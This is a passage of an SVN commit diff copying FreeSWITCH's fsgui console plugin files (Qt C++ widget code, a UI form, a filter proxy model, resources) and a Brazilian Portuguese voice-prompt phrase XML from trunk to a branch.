Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.cpp (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,187 @@
+#include "consoletabwidget.h"
+#include "ui_consoletabwidget.h"
+#include "eslconnection.h"
+
+ConsoleTabWidget::ConsoleTabWidget(QWidget *parent, ESLconnection *eslconnection) :
+    QWidget(parent),
+    m_ui(new Ui::ConsoleTabWidget),
+    esl(eslconnection)
+{
+    m_ui->setupUi(this);
+    sourceModel = new QStandardItemModel(this);
+    model = new SortFilterProxyModel(this);
+    model->setSourceModel(sourceModel);
+    model->setFilterKeyColumn(0);
+    m_ui->consoleListView->setModel(model);
+
+    QObject::connect(m_ui->btnSend, SIGNAL(clicked()),
+                     this, SLOT(cmdSendClicked()));
+    QObject::connect(m_ui->lineCmd, SIGNAL(textChanged(QString)),
+                     this, SLOT(lineCmdChanged(QString)));
+    QObject::connect(m_ui->checkEmerg, SIGNAL(clicked(bool)),
+                     this, SLOT(checkEmerg(bool)));
+    QObject::connect(m_ui->checkAlert, SIGNAL(clicked(bool)),
+                     this, SLOT(checkAlert(bool)));
+    QObject::connect(m_ui->checkCrit, SIGNAL(clicked(bool)),
+                     this, SLOT(checkCrit(bool)));
+    QObject::connect(m_ui->checkError, SIGNAL(clicked(bool)),
+                     this, SLOT(checkError(bool)));
+    QObject::connect(m_ui->checkNotice, SIGNAL(clicked(bool)),
+                     this, SLOT(checkNotice(bool)));
+    QObject::connect(m_ui->checkInfo, SIGNAL(clicked(bool)),
+                     this, SLOT(checkInfo(bool)));
+    QObject::connect(m_ui->checkDebug, SIGNAL(clicked(bool)),
+                     this, SLOT(checkDebug(bool)));
+
+    QObject::connect(esl, SIGNAL(connected()),
+                     this, SLOT(connected()));
+    QObject::connect(esl, SIGNAL(connectionFailed(QString)),
+                     this, SLOT(connectionFailed(QString)));
+    QObject::connect(esl, SIGNAL(disconnected()),
+                     this, SLOT(disconnected()));
+    QObject::connect(esl, SIGNAL(gotEvent(ESLevent*)),
+                     this, SLOT(gotEvent(ESLevent*)));
+
+    esl->connect();
+}
+
+ConsoleTabWidget::~ConsoleTabWidget()
+{
+    delete m_ui;
+}
+
+void ConsoleTabWidget::clearConsoleContents()
+{
+    sourceModel->clear();
+}
+
+void ConsoleTabWidget::changeEvent(QEvent *e)
+{
+    QWidget::changeEvent(e);
+    switch (e->type()) {
+    case QEvent::LanguageChange:
+        m_ui->retranslateUi(this);
+        break;
+    default:
+        break;
+    }
+}
+
+void ConsoleTabWidget::connected()
+{
+    m_ui->btnSend->setEnabled(true);
+    m_ui->lineCmd->setEnabled(true);
+    QStandardItem *item = new QStandardItem(tr("Connected!"));
+    item->setData(ESL_LOG_LEVEL_EMERG, Qt::UserRole);
+    addNewConsoleItem(item);
+}
+
+void ConsoleTabWidget::disconnected()
+{
+    m_ui->btnSend->setEnabled(false);
+    m_ui->lineCmd->setEnabled(false);
+    QStandardItem *item = new QStandardItem(tr("Disconnected!"));
+    item->setData(ESL_LOG_LEVEL_EMERG, Qt::UserRole);
+    addNewConsoleItem(item);
+}
+
+void ConsoleTabWidget::connectionFailed(QString reason)
+{
+    m_ui->btnSend->setEnabled(false);
+    m_ui->lineCmd->setEnabled(false);
+    QStandardItem *item = new QStandardItem(tr("Connection Failed! Reason: %1").arg(reason));
+    item->setData(ESL_LOG_LEVEL_EMERG, Qt::UserRole);
+    addNewConsoleItem(item);
+}
+
+void ConsoleTabWidget::gotEvent(ESLevent * event)
+{
+    if (event->getBody())
+    {
+        QString text(event->getBody());
+
+        /* Remove \r\n */
+        QStringList textList = text.split(QRegExp("(\r+)"), QString::SkipEmptyParts);
+        QString final_str;
+        for (int line = 0; line<textList.size(); line++)
+        {
+            final_str += textList[line];
+            if (line == textList.size()-1)
+            {
+                final_str.chop(1);
+            }
+        }
+        QStringList lines = final_str.split('\n', QString::SkipEmptyParts);
+        for (int line = 0; line < lines.size(); ++line)
+        {
+            QStandardItem *item = new QStandardItem(lines[line]);
+            item->setData(QString(event->getHeader("Log-Level")).toInt(), Qt::UserRole);
+            addNewConsoleItem(item);
+        }
+    }
+    delete event;
+}
+
+void ConsoleTabWidget::addNewConsoleItem(QStandardItem *item)
+{
+    QSettings settings;
+    settings.beginGroup("Console");
+    QPalette palette = settings.value(QString("log-level-%1-palette").arg(item->data(Qt::UserRole).toInt())).value<QPalette>();
+    item->setBackground(palette.base());
+    item->setForeground(palette.text());
+    if (m_ui->consoleListView->verticalScrollBar()->value() == m_ui->consoleListView->verticalScrollBar()->maximum())
+    {
+        sourceModel->appendRow(item);
+        m_ui->consoleListView->scrollToBottom();
+    }
+    else
+    {
+        sourceModel->appendRow(item);
+    }
+}
+
+void ConsoleTabWidget::cmdSendClicked()
+{
+    esl->bgapi(m_ui->lineCmd->text());
+    m_ui->lineCmd->clear();
+}
+
+void ConsoleTabWidget::lineCmdChanged(QString text)
+{
+    m_ui->btnSend->setDisabled(text.isEmpty());
+}
+
+void ConsoleTabWidget::checkEmerg(bool state)
+{
+    model->setLogLevelFilter(ESL_LOG_LEVEL_EMERG, state);
+}
+
+void ConsoleTabWidget::checkAlert(bool state)
+{
+    model->setLogLevelFilter(ESL_LOG_LEVEL_ALERT, state);
+}
+
+void ConsoleTabWidget::checkCrit(bool state)
+{
+    model->setLogLevelFilter(ESL_LOG_LEVEL_CRIT, state);
+}
+
+void ConsoleTabWidget::checkError(bool state)
+{
+    model->setLogLevelFilter(ESL_LOG_LEVEL_ERROR, state);
+}
+
+void ConsoleTabWidget::checkNotice(bool state)
+{
+    model->setLogLevelFilter(ESL_LOG_LEVEL_NOTICE, state);
+}
+
+void ConsoleTabWidget::checkInfo(bool state)
+{
+    model->setLogLevelFilter(ESL_LOG_LEVEL_INFO, state);
+}
+
+void ConsoleTabWidget::checkDebug(bool state)
+{
+    model->setLogLevelFilter(ESL_LOG_LEVEL_DEBUG, state);
+}

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+#ifndef CONSOLETABWIDGET_H
+#define CONSOLETABWIDGET_H
+
+#include <QtGui/QWidget>
+#include "sortfilterproxymodel.h"
+
+namespace Ui {
+    class ConsoleTabWidget;
+}
+
+class QStandardItem;
+class QStandardItemModel;
+class ESLconnection;
+class ESLevent;
+
+class ConsoleTabWidget : public QWidget {
+    Q_OBJECT
+public:
+    ConsoleTabWidget(QWidget *parent, ESLconnection *eslconnection);
+    ~ConsoleTabWidget();
+
+public slots:
+    void clearConsoleContents();
+
+protected:
+    void changeEvent(QEvent *e);
+
+private slots:
+    void connected();
+    void disconnected();
+    void connectionFailed(QString);
+    void gotEvent(ESLevent *);
+    void addNewConsoleItem(QStandardItem *item);
+    void cmdSendClicked();
+    void lineCmdChanged(QString);
+    void checkEmerg(bool);
+    void checkAlert(bool);
+    void checkCrit(bool);
+    void checkError(bool);
+    void checkNotice(bool);
+    void checkInfo(bool);
+    void checkDebug(bool);
+
+private:
+    Ui::ConsoleTabWidget *m_ui;
+    QStandardItemModel *sourceModel;
+    SortFilterProxyModel *model;
+    ESLconnection *esl;
+};
+
+#endif // CONSOLETABWIDGET_H

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.ui

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.ui (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.ui) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.ui	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/consoletabwidget.ui	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,188 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>ConsoleTabWidget</class>
+ <widget class="QWidget" name="ConsoleTabWidget">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>391</width>
+    <height>344</height>
+   </rect>
+  </property>
+  <property name="windowTitle">
+   <string>Form</string>
+  </property>
+  <layout class="QVBoxLayout" name="verticalLayout_3">
+   <item>
+    <layout class="QVBoxLayout" name="verticalLayout_2">
+     <item>
+      <layout class="QHBoxLayout" name="horizontalLayout_2">
+       <item>
+        <widget class="QListView" name="consoleListView"/>
+       </item>
+       <item>
+        <widget class="QGroupBox" name="groupBox">
+         <property name="maximumSize">
+          <size>
+           <width>120</width>
+           <height>16777215</height>
+          </size>
+         </property>
+         <property name="title">
+          <string>Log Level</string>
+         </property>
+         <layout class="QVBoxLayout" name="verticalLayout">
+          <item>
+           <widget class="QCheckBox" name="checkEmerg">
+            <property name="text">
+             <string>Console</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QCheckBox" name="checkAlert">
+            <property name="text">
+             <string>Alert</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QCheckBox" name="checkCrit">
+            <property name="text">
+             <string>Critical</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QCheckBox" name="checkError">
+            <property name="text">
+             <string>Error</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QCheckBox" name="checkWarn">
+            <property name="text">
+             <string>Warning</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QCheckBox" name="checkNotice">
+            <property name="text">
+             <string>Notice</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QCheckBox" name="checkInfo">
+            <property name="text">
+             <string>Info</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QCheckBox" name="checkDebug">
+            <property name="text">
+             <string>Debug</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <spacer name="verticalSpacer">
+            <property name="orientation">
+             <enum>Qt::Vertical</enum>
+            </property>
+            <property name="sizeHint" stdset="0">
+             <size>
+              <width>20</width>
+              <height>18</height>
+             </size>
+            </property>
+           </spacer>
+          </item>
+         </layout>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QHBoxLayout" name="horizontalLayout">
+       <item>
+        <widget class="QLineEdit" name="lineCmd">
+         <property name="enabled">
+          <bool>false</bool>
+         </property>
+         <property name="maximumSize">
+          <size>
+           <width>16777215</width>
+           <height>26</height>
+          </size>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QPushButton" name="btnSend">
+         <property name="enabled">
+          <bool>false</bool>
+         </property>
+         <property name="minimumSize">
+          <size>
+           <width>0</width>
+           <height>28</height>
+          </size>
+         </property>
+         <property name="maximumSize">
+          <size>
+           <width>85</width>
+           <height>28</height>
+          </size>
+         </property>
+         <property name="text">
+          <string>Send</string>
+         </property>
+         <property name="shortcut">
+          <string>Return</string>
+         </property>
+         <property name="autoDefault">
+          <bool>true</bool>
+         </property>
+         <property name="default">
+          <bool>true</bool>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+    </layout>
+   </item>
+  </layout>
+ </widget>
+ <resources/>
+ <connections/>
+</ui>

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.cpp

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.cpp (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+#include <QtGui>
+#include "sortfilterproxymodel.h"
+
+SortFilterProxyModel::SortFilterProxyModel(QObject *parent)
+        : QSortFilterProxyModel(parent)
+{
+    // Get from config?
+    for(int i = 0; i < 8; i++)
+        loglevels.insert(i, true);
+}
+
+void SortFilterProxyModel::setLogLevelFilter(int level, bool state)
+{
+    loglevels.replace(level, state);
+    // Let us filter
+    invalidateFilter();
+}
+
+bool SortFilterProxyModel::filterAcceptsRow(int source_row, const QModelIndex &source_parent) const
+{
+    QModelIndex index0 = sourceModel()->index(source_row, 0, source_parent);
+
+    return loglevels.value(sourceModel()->data(index0, Qt::UserRole).toInt()) == true;
+}

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.h

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.h (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/plugins/consoleplugin/sortfilterproxymodel.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+#ifndef SORTFILTERPROXYMODEL_H
+#define SORTFILTERPROXYMODEL_H
+
+#include <QSortFilterProxyModel>
+#include <QVector>
+
+class SortFilterProxyModel : public QSortFilterProxyModel
+{
+    Q_OBJECT
+
+public:
+    SortFilterProxyModel(QObject *parent = 0);
+    void setLogLevelFilter(int level, bool state);
+
+protected:
+    bool filterAcceptsRow(int source_row, const QModelIndex &source_parent) const;
+
+private:
+    QVector<bool> loglevels;
+};
+
+#endif // SORTFILTERPROXYMODEL_H

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/connect_icon.png

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/connect_icon.png (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources/connect_icon.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/edit_icon.png

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/edit_icon.png (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources/edit_icon.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/fsgui_logo.png

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/fsgui_logo.png (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources/fsgui_logo.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/new_server_icon.png

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/new_server_icon.png (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources/new_server_icon.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/remove_server_icon.png

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/remove_server_icon.png (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources/remove_server_icon.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/resources.qrc

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/resources.qrc (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources/resources.qrc) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/resources.qrc	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/resources.qrc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+<RCC>
+    <qresource prefix="/icons" >
+        <file>fsgui_logo.png</file>
+        <file>new_server_icon.png</file>
+        <file>remove_server_icon.png</file>
+        <file>connect_icon.png</file>
+        <file>save.png</file>
+        <file>server_icon.png</file>
+        <file>edit_icon.png</file>
+    </qresource>
+</RCC>

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/save.png

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/save.png (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources/save.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/server_icon.png

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/resources/server_icon.png (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/resources/server_icon.png)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/jmesquita/phrase_pt_br.xml

Copied: freeswitch/branches/seven/contrib/jmesquita/phrase_pt_br.xml (from rev 14471, freeswitch/trunk/contrib/jmesquita/phrase_pt_br.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/phrase_pt_br.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/phrase_pt_br.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,297 @@
+<language>
+  <en>
+    <ascii>
+      <prompt phrase="Espaço" filename="32.wav"/>
+      <prompt phrase="Cerquilha" filename="35.wav"/>
+      <prompt phrase="Asterisco" filename="42.wav"/>
+      <prompt phrase="Ponto" filename="46.wav"/>
+      <prompt phrase="A" filename="97.wav"/>
+      <prompt phrase="B" filename="98.wav"/>
+      <prompt phrase="C" filename="99.wav"/>
+      <prompt phrase="D" filename="100.wav"/>
+      <prompt phrase="E" filename="101.wav"/>
+      <prompt phrase="F" filename="102.wav"/>
+      <prompt phrase="G" filename="103.wav"/>
+      <prompt phrase="H" filename="104.wav"/>
+      <prompt phrase="I" filename="105.wav"/>
+      <prompt phrase="J" filename="106.wav"/>
+      <prompt phrase="K" filename="107.wav"/>
+      <prompt phrase="L" filename="108.wav"/>
+      <prompt phrase="M" filename="109.wav"/>
+      <prompt phrase="N" filename="110.wav"/>
+      <prompt phrase="O" filename="111.wav"/>
+      <prompt phrase="P" filename="112.wav"/>
+      <prompt phrase="Q" filename="113.wav"/>
+      <prompt phrase="R" filename="114.wav"/>
+      <prompt phrase="S" filename="115.wav"/>
+      <prompt phrase="T" filename="116.wav"/>
+      <prompt phrase="U" filename="117.wav"/>
+      <prompt phrase="V" filename="118.wav"/>
+      <prompt phrase="W" filename="119.wav"/>
+      <prompt phrase="X" filename="120.wav"/>
+      <prompt phrase="Y" filename="121.wav"/>
+      <prompt phrase="Z" filename="122.wav"/>
+    </ascii>
+    <phonetic-ascii>
+      <prompt phrase="Espaço" filename="32.wav"/>
+      <prompt phrase="Ponto" filename="46.wav"/>
+      <prompt phrase="Alpha" filename="97.wav"/>
+      <prompt phrase="Bravo" filename="98.wav"/>
+      <prompt phrase="Charlie" filename="99.wav"/>
+      <prompt phrase="Delta" filename="100.wav"/>
+      <prompt phrase="Echo" filename="101.wav"/>
+      <prompt phrase="Foxtrot" filename="102.wav"/>
+      <prompt phrase="Golf" filename="103.wav"/>
+      <prompt phrase="Hotel" filename="104.wav"/>
+      <prompt phrase="India" filename="105.wav"/>
+      <prompt phrase="Juliet" filename="106.wav"/>
+      <prompt phrase="Kilo" filename="107.wav"/>
+      <prompt phrase="Lima" filename="108.wav"/>
+      <prompt phrase="Mike" filename="109.wav"/>
+      <prompt phrase="November" filename="110.wav"/>
+      <prompt phrase="Oscar" filename="111.wav"/>
+      <prompt phrase="Papa" filename="112.wav"/>
+      <prompt phrase="Quebec" filename="113.wav"/>
+      <prompt phrase="Romeo" filename="114.wav"/>
+      <prompt phrase="Sierra" filename="115.wav"/>
+      <prompt phrase="Tango" filename="116.wav"/>
+      <prompt phrase="Unifor" filename="117.wav"/>
+      <prompt phrase="Victor" filename="118.wav"/>
+      <prompt phrase="Whiskey" filename="119.wav"/>
+      <prompt phrase="Xray" filename="120.wav"/>
+      <prompt phrase="Yankee" filename="121.wav"/>
+      <prompt phrase="Zulu" filename="122.wav"/>
+    </phonetic-ascii>
+    <digits>
+      <prompt phrase="Zero" filename="0.wav"/>
+      <prompt phrase="Um" filename="1.wav"/>
+      <prompt phrase="Dois" filename="2.wav"/>
+      <prompt phrase="Três" filename="3.wav"/>
+      <prompt phrase="Quatro" filename="4.wav"/>
+      <prompt phrase="Cinco" filename="5.wav"/>
+      <prompt phrase="Seis" filename="6.wav"/>
+      <prompt phrase="Sete" filename="7.wav"/>
+      <prompt phrase="Oito" filename="8.wav"/>
+      <prompt phrase="Nove" filename="9.wav"/>
+      <prompt phrase="Dez" filename="10.wav"/>
+      <prompt phrase="Onze" filename="11.wav"/>
+      <prompt phrase="Doze" filename="12.wav"/>
+      <prompt phrase="Treze" filename="13.wav"/>
+      <prompt phrase="Quatorze" filename="14.wav"/>
+      <prompt phrase="Quinze" filename="15.wav"/>
+      <prompt phrase="Dezesseis" filename="16.wav"/>
+      <prompt phrase="Dezessete" filename="17.wav"/>
+      <prompt phrase="Dezoito" filename="18.wav"/>
+      <prompt phrase="Dezenove" filename="19.wav"/>
+      <prompt phrase="Vinte" filename="20.wav"/>
+      <prompt phrase="Trinta" filename="30.wav"/>
+      <prompt phrase="Quarenta" filename="40.wav"/>
+      <prompt phrase="Cinquenta" filename="50.wav"/>
+      <prompt phrase="Sessenta" filename="60.wav"/>
+      <prompt phrase="Setenta" filename="70.wav"/>
+      <prompt phrase="Oitenta" filename="80.wav"/>
+      <prompt phrase="Noventa" filename="90.wav"/>
+      <prompt phrase="Ponto" filename="dot.wav"/>
+      <prompt phrase="Primeiro" filename="h-1.wav"/>
+      <prompt phrase="Segundo" filename="h-2.wav"/>
+      <prompt phrase="Terceiro" filename="h-3.wav"/>
+      <prompt phrase="Quarto" filename="h-4.wav"/>
+      <prompt phrase="Quinto" filename="h-5.wav"/>
+      <prompt phrase="Sexto" filename="h-6.wav"/>
+      <prompt phrase="Sétimo" filename="h-7.wav"/>
+      <prompt phrase="Oitavo" filename="h-8.wav"/>
+      <prompt phrase="Nono" filename="h-9.wav"/>
+      <prompt phrase="Décimo" filename="h-10.wav"/>
+      <prompt phrase="Décimo primeiro" filename="h-11.wav"/>
+      <prompt phrase="Décimo segundo" filename="h-12.wav"/>
+      <prompt phrase="Décimo terceiro" filename="h-13.wav"/>
+      <prompt phrase="Décimo quarto" filename="h-14.wav"/>
+      <prompt phrase="Décimo quinto" filename="h-15.wav"/>
+      <prompt phrase="Décimo sexto" filename="h-16.wav"/>
+      <prompt phrase="Décimo sétimo" filename="h-17.wav"/>
+      <prompt phrase="Décimo oitavo" filename="h-18.wav"/>
+      <prompt phrase="Décimo nono" filename="h-19.wav"/>
+      <prompt phrase="Vigésimo" filename="h-20.wav"/>
+      <prompt phrase="Trigésimo" filename="h-30.wav"/>
+      <prompt phrase="Centésimo" filename="hundred.wav"/>
+      <prompt phrase="Milionésimo" filename="million.wav"/>
+      <prompt phrase="Ponto" filename="period.wav"/>
+      <prompt phrase="Ponto" filename="point.wav"/>
+      <prompt phrase="Cerquilha" filename="pound.wav"/>
+      <prompt phrase="Asterisco" filename="star.wav"/>
+      <prompt phrase="Mil" filename="thousand.wav"/>
+    </digits>
+    <currency>
+      <prompt phrase="E" filename="and.wav"/>
+      <prompt phrase="Centavos" filename="cent.wav"/>
+      <prompt phrase="Central" filename="central.wav"/>
+      <prompt phrase="Centavos por minuto" filename="cents-per-minute.wav"/>
+      <prompt phrase="Centavos" filename="cents.wav"/>
+      <prompt phrase="Dollar" filename="dollar.wav"/>
+      <prompt phrase="Dollares" filename="dollars.wav"/>
+      <prompt phrase="Menos" filename="minus.wav"/>
+      <prompt phrase="Negativo" filename="negative.wav"/>
+    </currency>
+    <time>
+      <prompt phrase="A.M." filename="a-m.wav"/>
+      <prompt phrase="At" filename="at.wav"/>
+      <prompt phrase="Domingo" filename="day-0.wav"/>
+      <prompt phrase="Segunda-feira" filename="day-1.wav"/>
+      <prompt phrase="Terça-feira" filename="day-2.wav"/>
+      <prompt phrase="Quarta-feira" filename="day-3.wav"/>
+      <prompt phrase="Quinta-feira" filename="day-4.wav"/>
+      <prompt phrase="Sexta-feira" filename="day-5.wav"/>
+      <prompt phrase="Sábado" filename="day-6.wav"/>
+      <prompt phrase="Hora" filename="hour.wav"/>
+      <prompt phrase="Horas" filename="hours.wav"/>
+      <prompt phrase="Minuto" filename="minute.wav"/>
+      <prompt phrase="Minutos" filename="minutes.wav"/>
+      <prompt phrase="Janeiro" filename="mon-0.wav"/>
+      <prompt phrase="Fevereiro" filename="mon-1.wav"/>
+      <prompt phrase="Março" filename="mon-2.wav"/>
+      <prompt phrase="Abril" filename="mon-3.wav"/>
+      <prompt phrase="Maio" filename="mon-4.wav"/>
+      <prompt phrase="Junho" filename="mon-5.wav"/>
+      <prompt phrase="Julho" filename="mon-6.wav"/>
+      <prompt phrase="Agosto" filename="mon-7.wav"/>
+      <prompt phrase="Setembro" filename="mon-8.wav"/>
+      <prompt phrase="Outubro" filename="mon-9.wav"/>
+      <prompt phrase="Novembro" filename="mon-10.wav"/>
+      <prompt phrase="Dezembro" filename="mon-11.wav"/>
+      <prompt phrase="Em ponto" filename="oclock.wav"/>
+      <prompt phrase="oh" filename="oh.wav"/>
+      <prompt phrase="P.M." filename="p-m.wav"/>
+      <prompt phrase="Segundo" filename="second.wav"/>
+      <prompt phrase="Segundos" filename="seconds.wav"/>
+      <prompt phrase="Hoje" filename="today.wav"/>
+      <prompt phrase="Amanhã" filename="tomorrow.wav"/>
+      <prompt phrase="Ontem" filename="yesterday.wav"/>
+    </time>
+    <voicemail>
+      <prompt phrase="The person at extension" filename="vm-person.wav"/>
+      <prompt phrase="marked urgent" filename="vm-marked-urgent.wav"/>
+      <prompt phrase="emailed" filename="vm-emailed.wav"/>
+      <prompt phrase="you have" filename="vm-you_have.wav"/>
+      <prompt phrase="please enter your i d, followed by" filename="vm-enter_id.wav"/>
+      <prompt phrase="please enter your password, followed by" filename="vm-enter_pass.wav"/>
+      <prompt phrase="login incorrect" filename="vm-fail_auth.wav"/>
+      <prompt phrase="welcome to your voicemail" filename="vm-hello.wav"/>
+      <prompt phrase="goodbye" filename="vm-goodbye.wav"/>
+      <prompt phrase="at the tone please record your name, press any key or stop talking to end the recording." filename="vm-record_name1.wav"/>
+      <prompt phrase="choose a greeting between 1 and 9" filename="vm-choose_greeting_choose.wav"/>
+      <prompt phrase="invalid value" filename="vm-choose_greeting_fail.wav"/>
+      <prompt phrase="too many failed attempts" filename="vm-abort.wav"/>
+      <prompt phrase="to change your password" filename="vm-change_password.wav"/>
+      <prompt phrase="record your greeting at the tone, press any key or stop talking to end the recording" filename="vm-record_greeting.wav"/>
+      <prompt phrase="record your message at the tone, press any key or stop talking to end the recording" filename="vm-record_message.wav"/>
+      <prompt phrase="is not available" filename="vm-play_greeting.wav"/>
+      <prompt phrase="urgent new" filename="vm-urgent-new.wav"/>
+      <prompt phrase="new" filename="vm-new.wav"/>
+      <prompt phrase="urgent saved" filename="vm-urgent-saved.wav"/>
+      <prompt phrase="saved" filename="vm-saved.wav"/>
+      <prompt phrase="message" filename="vm-message.wav"/>
+      <prompt phrase="messages" filename="vm-messages.wav"/>
+      <prompt phrase="press" filename="vm-press.wav"/>
+      <prompt phrase="to listen to new messages" filename="vm-listen_new.wav"/>
+      <prompt phrase="to listen to saved messages" filename="vm-listen_saved.wav"/>
+      <prompt phrase="for advanced options" filename="vm-advanced.wav"/>
+      <prompt phrase="to exit" filename="vm-to_exit.wav"/>
+      <prompt phrase="to record a greeting" filename="vm-record_greeting.wav"/>
+      <prompt phrase="to choose greeting" filename="vm-choose_greeting.wav"/>
+      <prompt phrase="to record your name" filename="vm-record_name2.wav"/>
+      <prompt phrase="for the main menu" filename="vm-main_menu.wav"/>
+      <prompt phrase="to listen to the recording" filename="vm-listen_to_recording.wav"/>
+      <prompt phrase="to save the recording" filename="vm-save_recording.wav"/>
+      <prompt phrase="to rerecord" filename="vm-rerecord.wav"/>
+      <prompt phrase="to mark this message urgent" filename="vm-mark-urgent.wav"/>
+      <prompt phrase="to continue" filename="vm-continue.wav"/>
+      <prompt phrase="to listen to the recording again" filename="vm-listen_to_recording_again.wav"/>
+      <prompt phrase="to delete the recording" filename="vm-delete_recording.wav"/>
+      <prompt phrase="to forward the recording to your email" filename="vm-forward_to_email.wav"/>
